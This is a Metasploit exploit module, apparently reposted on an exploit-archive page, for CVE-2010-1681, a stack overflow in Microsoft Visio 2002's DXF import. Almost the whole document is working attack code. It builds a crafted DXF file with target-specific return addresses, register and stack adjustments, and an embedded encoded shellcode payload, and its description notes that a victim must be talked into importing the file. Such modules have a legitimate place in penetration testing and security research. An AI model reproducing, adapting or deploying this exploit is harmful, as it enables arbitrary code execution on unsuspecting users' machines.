ExploitFixes
Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability - [CVE: CVE,2010-1681] 2011-06-26 09:15:05

##
# $Id: visio_dxf_bof.rb 13034 2011-06-26 16:09:53Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Visio VISIODWG.DLL DXF File Handling Vulnerability',
'Description' => %q{
This module exploits a stack based overflow vulnerability in the handling
of the DXF files by Microsoft Visio 2002. Revisions prior to the release of
the MS bulletin MS10-028 are vulnerable. The overflow occurs when the application
is used to import a specially crafted DXF file, while parsing the HEADER section
of the DXF file.

To trigger the vulnerability an attacker must convince someone to insert a
specially crafted DXF file to a new document, go to 'Insert' -> 'CAD Drawing'
},
'License' => MSF_LICENSE,
'Author' =>
[
'CORE Security', # original discovery
'Shahin Ramezany <shahin[at]abysssec.com>', # MOAUB #8 exploit and binary analysis
'juan vazquez', # metasploit module
],
'Version' => '$Revision: 13034 $',
'References' =>
[
[ 'CVE','2010-1681' ],
[ 'OSVDB', '64446' ],
[ 'BID', '39836' ],
[ 'URL', 'http://www.coresecurity.com/content/ms-visio-dxf-buffer-overflow' ],
[ 'URL', 'http://www.exploit-db.com/moaub-8-microsoft-office-visio-dxf-file-stack-overflow/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 2000,
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
'DisableNops' => true, # no need
'EncoderOptions' =>
{
'BufferRegister' => 'ECX'
}
},
'Platform' => 'win',
'Targets' =>
[
# Microsoft Office Visio 2002
# VISIO.EXE v10.0.525.4
# VISIODWG.DLL v10.0.525.4
# ECXAdjust:
# 0x8 => ESP points to the prepended shellcode
# 0x1A => Padding
# 0x2 => len(push esp, pop ecx)
# 0x3 => len(sub)
# 0x6 => len(add)
[
'Visio 2002 English on Windows XP SP3 Spanish',
{
'Ret' => 0x6173345c, # push esp, ret from VISIODWG.DLL
'Offset' => 0x50, # EIP
'ReadAddress' => 0x617a4748, # points to VISIODWG.DLL data segment
'ECXAdjust' => 0x2D
}
],
[
'Visio 2002 English on Windows XP SP3 English',
{
'Ret' => 0x60455F6B, # push esp, ret from VISLIB.DLL
'Offset' => 0x50, # EIP
'ReadAddress' => 0x66852040, # points to VISIODWG.DLL data segment
'ECXAdjust' => 0x2D,
}
],
],
'DisclosureDate' => 'May 04 2010'))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.dxf']),
], self.class)
end

def exploit
content = "0\n"
content << "SECTION\n"
content << "2\n"
content << "HEADER\n"
content << "9\n"
content << "$ACADMAINTVER"
content << rand_text_alpha(target['Offset'] - "ACADMAINTVER".length)
content << [target.ret].pack('V') # new ret
content << "\xeb\x20\x90\x90" # short jmp to payload (plus two padding nops)
content << [target['ReadAddress']].pack('V') # readable address to avoid exceptions
content << rand_text_alpha(0x1A) # jumped by the short jump
# Get in ECX a pointer to the shellcode start
content << "\x54" # push esp
content << "\x59" # pop ecx
# ecx adjustment
content << Rex::Arch::X86.sub(-(target['ECXAdjust']),Rex::Arch::X86::ECX, "\x00\x0d\x0a", false, true)
# Stack adjustment
content << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000
content << payload.encoded
content << "\n"
content << "0\n"
content << "ENDSEC\n"
content << "0\n"
content << "EOF\n"

print_status("Creating #{datastore['FILENAME']} ...")
file_create(content)
end

end